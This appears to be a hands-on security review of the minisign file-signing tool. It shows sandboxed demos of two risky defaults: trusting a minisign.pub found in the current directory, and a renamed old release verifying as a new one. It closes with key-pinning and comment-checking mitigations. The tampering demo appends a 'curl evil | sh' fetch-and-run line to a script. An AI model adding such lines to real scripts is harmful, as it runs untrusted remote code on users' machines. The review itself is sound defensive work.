Verdict: use it, with three habits. minisign is the small, sharp signing tool I kept recommending in the age review whenever someone needed to know who sent a file. It does that job well. A one-byte change to the file fails verification, and so does a one-character change to the signed comment. But it has two convenient defaults. Verify without naming a key, and it trusts any minisign.pub sitting in the current directory, which is the same folder the attacker’s tarball unpacks into. And it signs bytes, not filenames, so last month’s vulnerable release, renamed to this month’s version, verifies cleanly. Below is everything I ran and the three habits that close both holes. I have no relationship with minisign or its author, Frank Denis. It’s ISC-licensed (checked against GitHub’s API), and nobody paid me.
Let me threat-model the most trusted line in your install docs: minisign -Vm install.sh. You downloaded install.sh, its .minisig, and, because the release page put them together in one handy archive, a minisign.pub. You run the verify. It prints “verified”. You pipe the script into sh with the confidence of someone who did their due diligence. Somewhere a three-letter agency, a compromised CDN, or an intern who was handed the release bucket’s credentials “just for today” signed that script with their own key and put their own public key right next to it. The tool checked the signature against exactly the key the attacker supplied. Every byte was authentic. It just wasn’t authentic to the right person.
Back to reality: most people pin the key from the project’s README, and the attack needs someone to swap both the file and the key on the same server. But “the verification passed” is the sentence people stop thinking after, so it’s worth knowing exactly what it promises.
SEVERITY: your release bucket. ATTACK VECTOR: a file named minisign.pub, which minisign trusts by default.
Everything below ran for real with minisign 0.12 (the Ubuntu 26.04 package 0.12-1build1, matching upstream’s latest release), in a throwaway HOME under /tmp/ms. The keys exist only in that sandbox. The exit= lines come from an echo "exit=$?" I ran after each command, not from minisign.
What earns the install
Make a key pair, sign a file, verify it. That’s the whole tool, and that’s the selling point:
$ minisign -G -W
The secret key was saved as /tmp/ms/home/.minisign/minisign.key - Keep it secret!
The public key was saved as minisign.pub - That one can be public.
Files signed using this key pair can be verified with the following command:
minisign -Vm <file> -P RWTx180zggDBwSqpnl53KA4tDJ6GjidLzFwjuldOZ46KEq8+E6HSaUPy
exit=0
$ minisign -Sm release.sh -t "release v1.4.2 by cass"
exit=0
$ cat release.sh.minisig
untrusted comment: signature from minisign secret key
RUTx180zggDBwVtUO0mb1ZEPVqy2aNvLMVoHRXigBGOeA13vTZRY2QKF7ppbJlB9USjSU7L30+LtOhn6ldsg3UWdi2YMhVZNugQ=
trusted comment: release v1.4.2 by cass
UBPOyJpEbM1Zc5O4td1fQ76NKs1HWI3+OWYpV1O9NeQpH4kmRRVmUlWnHUV15MkhUi2j2M+ZcunuFpQ/xRcwCw==
$ minisign -Vm release.sh
Signature and comment signature verified
Trusted comment: release v1.4.2 by cass
exit=0
The public key is one 56-character line you can paste into a README, a tweet, or a sticky note on the server rack. The whole .pub file is 113 bytes and the signature is 284. Compare that to explaining a GPG web of trust to someone before lunch. The secret key landed in ~/.minisign/ as -rw------- in a drwx------ folder, so other users on the machine can’t read it.
The tampering checks did their job. I changed the script and verification failed. I changed the trusted comment from v1.4.2 to v9.9.9 and verification failed too, with a different message, because that line is signed:
$ printf 'curl evil | sh\n' >> release.sh
$ minisign -Vm release.sh -P "$PUB"
Signature verification failed
exit=1
$ sed -i '3s/.*/trusted comment: release v9.9.9 by cass/' release.sh.minisig
$ minisign -Vm release.sh -P "$PUB"
Comment signature verification failed
exit=1
($PUB is the 56-character key string from the first block.) There are two comment lines, though, and only one of them is signed. The first line is named untrusted in the file itself, and minisign means it. I rewrote it into a sales pitch and nothing objected:
$ sed -i '1s/.*/untrusted comment: signed by the security team, totally audited/' release.sh.minisig
$ minisign -Vm release.sh -P "$PUB"
Signature and comment signature verified
Trusted comment: release v1.4.2 by cass
exit=0
That’s documented and fair. The file says “untrusted” right at the start of the line. It’s just the first of several places where minisign says something precise and the reader hears something broader.
The part where it trusts the attacker’s key
The help text gives this one away if you read the defaults:
$ minisign -h 2>&1 | grep 'default: ./'
-p <pubkey_file> public key file (default: ./minisign.pub)
-s <seckey_file> secret key file (default: ~/.minisign/minisign.key)
./ means whatever directory you’re standing in. So I played the attacker: in a fresh download folder I made my own key pair, signed a script that pipes evil.example into a shell, and left my public key next to it. Then I verified it the way a hurried human would, with no key argument:
$ ls
install.sh
install.sh.minisig
minisign.pub
$ minisign -Vm install.sh
Signature and comment signature verified
Trusted comment: timestamp:1796252030 file:install.sh hashed
exit=0
Verified, exit 0. Every word of that output is true: the signature matches the key in minisign.pub. It’s just the wrong key. Pin the real key with -P and the same file is rejected before anything else is checked:
$ minisign -Vm install.sh -P "$PUB"
Signature key id in install.sh.minisig is AD2714F13F2186FC
but the key id in the public key is C1C1008233CDD7F1
exit=1
Every convenience is an attack surface with better marketing, and this one’s marketing is “you don’t even have to type the key.”
The part where an old release verifies as the new one
A minisign signature covers the file’s contents and the trusted comment. It doesn’t cover the filename. When you don’t pass -t, minisign writes a default trusted comment that does record the name, but at verify time it only prints that comment. It doesn’t compare the name to anything. So I signed a 1.4.1 script (imagine it’s the one with the CVE) and served it, signature and all, as 1.4.2:
$ minisign -Sm app-1.4.1.sh
$ cp app-1.4.1.sh app-1.4.2.sh; cp app-1.4.1.sh.minisig app-1.4.2.sh.minisig
$ minisign -Vm app-1.4.2.sh -P "$PUB"
Signature and comment signature verified
Trusted comment: timestamp:1796252030 file:app-1.4.1.sh hashed
exit=0
$ minisign -Vm app-1.4.2.sh -P "$PUB" -q
exit=0
The correct key, a correct signature, exit 0, and the evidence of the swap printed on the screen in a line nobody reads. With -q that line isn’t printed at all. A CI script that checks only the exit code gets rolled back to the vulnerable release and reports success. This is a downgrade attack, and it’s the verifier’s job to stop it. minisign gives you the signed comment to do that with, but it won’t do the check for you.
The part where the label says “encrypted”
One more small one. -W makes a secret key with no password, which is handy for a CI signer. I made one, and the first line of the key file says:
$ head -1 ~/.minisign/minisign.key
untrusted comment: minisign encrypted secret key
It isn’t encrypted. I signed release.sh with it above and nobody asked for a password. To be fair to the tool, the line is labeled “untrusted comment” right at the start. Still: don’t decide whether a stolen key file is a problem by reading its first line.
The three mitigations that matter
I ran each of these in the sandbox above, ranked by how much risk they remove.
1. Always pass the key with -P, and get it from somewhere other than the download. Put the 56-character string in your script, your README, or your config management, and never let ./minisign.pub decide who you trust. The block above shows the payoff: the attacker’s perfectly valid signature failed on the key ID before anything else was checked. If the project publishes its key in several places (the repo, the website, a past release), check that they agree once, then pin it.
2. Check the trusted comment, not just the exit code. -Q prints only the trusted comment, which makes it easy to check from a script. This little function rejects any signature whose signed file: field doesn’t match the file you’re about to run:
check() {
f="$1"
tc=$(minisign -Vm "$f" -P "$PUB" -Q) || return 1
case "$tc" in
*" file:$(basename "$f") "*) echo "ok: $tc" ;;
*) echo "REJECT: signed for something else: $tc" >&2; return 1 ;;
esac
}
(The gaps around file: in the pattern are literal tab characters. That’s the separator minisign uses in its default comment.)
$ check app-1.4.2.sh; echo "exit=$?"
REJECT: signed for something else: timestamp:1796252030 file:app-1.4.1.sh hashed
exit=1
$ check app-1.4.1.sh; echo "exit=$?"
ok: timestamp:1796252030 file:app-1.4.1.sh hashed
exit=0
The renamed rollback is rejected, and the real file still passes. If you sign with your own -t text, as I did for release.sh, then put the version in it and match on that instead. The point is that you decide what the signature has to say, and you check it yourself.
3. Keep the secret key password-protected. Leave off -W and -G asks for a password, then derives a key from it to encrypt the secret key file. A wrong password then stops signing:
$ echo wrong | minisign -S -s k.key -m f
Password:
Deriving a key from the password and decrypting the secret key... Wrong password for that key
done
exit=2
$ echo hunter2hunter2 | minisign -S -s k.key -m f
Password:
Deriving a key from the password and decrypting the secret key... done
exit=0
(I piped the password in to test it. Please don’t put yours in your shell history. Type it at the prompt.) The honest walk-back: a CI signer often has to run without a password, and -W exists for that. In that case the protection is wherever the key lives, so keep it in your CI’s secret store and nowhere else. Never commit it to the repo whose releases it signs.
Bottom line
minisign is a good tool that does one thing: it proves these bytes and this comment were signed by this key. It does that with tiny keys, short commands and clear failures. What it doesn’t do is decide which key you should trust, or check that the signed file is the one you asked for. Its defaults make both easy to skip. Pin the key, read the trusted comment in your scripts, and password-protect the key unless a robot has to use it. Source and docs: github.com/jedisct1/minisign.